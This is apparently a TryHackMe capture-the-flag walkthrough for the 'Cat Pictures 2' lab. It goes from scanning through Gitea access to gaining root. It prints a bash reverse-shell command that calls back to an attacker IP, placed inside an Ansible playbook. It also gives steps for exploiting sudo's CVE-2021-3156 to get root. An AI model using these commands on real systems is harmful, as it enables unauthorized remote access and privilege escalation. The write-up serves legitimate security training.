TryHackMe|CatPictures2 WriteUp\Walkthrough (English)

Cat Pictures 2

Room Link: https://tryhackme.com/r/room/catpictures2

=========================================================

• sudo nmap -vv IP. From the results, it showed that you have 5 open ports. You can run another scan for all ports in the background. sudo nmap -vv IP -A -oN [filename]. You have SSH on 22 and 222, an Nginx webserver on port 80, simple http server by Python on port 8080. other open ports are 3000 and 1337(shown by the -p- scan). Although the scan didn’t show much about these ports. It might be useful moving forward.
• Visit the website on port 80 and start looking through the pictures. You will find something interesting in the description of the first picture in the gallery.

It says strip the metadata, and this is what we will do. Download the image. exiftool [image name] and you will find your next hop on the Title of the image.

If you remember from the scan we have a simple python http server running on port 8080. Go to IP:8080/764efa883dda1e11db47671c4a3bbd9e.txt using your browser to view the file and move on.

• The contents of the file are:

gitea is a software package for hosting software development, similar to github. Here you have gitea on port 3000. Also, you have ovlivtin on port 1337. OliveTin gives safe and simple access to predefined shell commands from a web interface. You have also the gitea credentials for the username samarium.

• Go to IP:3000. Sing in as samarium. From here you will see the first flag immediately, click on it.

Click on view file, then retrieve the first flag ✨.

• Go to the page on port 1337.

You have a (Run Ansible Playbook), we want to know what is the code being ran by this button. Therefore, go back to gitea, from there go to the main branch by clicking ansible.

You have a file called playbook.yaml. So this is the file that you can run using the button. To make sure you can click the button and click on logs, you will see that the code being executed is the same as what being saved on the playbook.yaml file.

• Now we need to modify the .yaml file to get a reverse shell on the server. YAML is a popular programming language that is often used for writing configuration files. It is designed to be easy to read and understand, it can also be used in conjunction with other programming languages. Generate a bash reverse shell using the website revshells.com bash -i >& /dev/tcp/10.18.96.207/9001 0>&1 and replace it in the place of the command in the code.

Add bash -c before the shellcode and put the shell between “ ”. bash -c is used to execute a bash code outside the bash shell, whatever is passed as an argument to c is executed with bash.

Add a commit “playbook.yaml update by me”, then click commit changes.

• Now, set up a netcat listener nc -nlvp 9001, go back to Olivetin and click Run Ansible Playbook, then wait till you get a shell back at your machine. ls and retrieve the second flag ✨. Once you've obtained the shell you might want to go back to Olivetin on port 1337 and stop the code execution by updating the page, because it can cause problems with your connection.
• Go to /tmp, then transfer linpeas.sh to the target machine using wget and a python http server. chmod +x linpeas.sh, wait till it finishes. It tells you to check the version of sudo if it is vulnerable. We have sudo version 1.8.21p2 and indeed it is vulnerable to privilege escalation with the CVE: CVE-2021-3156. To make sure that the target is vulnerable run this command on it sudoedit -s '\' $(python3 -c 'print("A"*1000)').

If you got this replay, then the target is vulnerable.

• To exploit this vulnerability, you need to clone the github repository git clone https://github.com/blasty/CVE-2021-3156 then compress it to send it to the target machine tar -cvf exploit.tar CVE-2021-3156. Now that CVE-2021-3156 is compressed into exploit.tar, transfer exploit.tar to the target machine.
• Now you need to decompress it on the target machine tar xpf exploit.tar. Then cd CVE-2021-3156. Note on tar arguments:
• c: Create a new archive. Arguments supply the names of the files to be archived.
• v: Verbosely list files processed. Each instance of this options increases the verbosity, the maximum verbosity level is 3.
• f: Specify the archive file name.
• x: Extract files from an archive. 
• p: Preserve permissions.
• To compile and run the exploit. First build: make then list the targets: ./sudo-hax-me-a-sandwich then choose the compatible version of sudo, after that run ./sudo-hax-me-a-sandwich 0. Once it's done you will have root. /bin/bash -i then cd /root and retrieve the third flag ✨.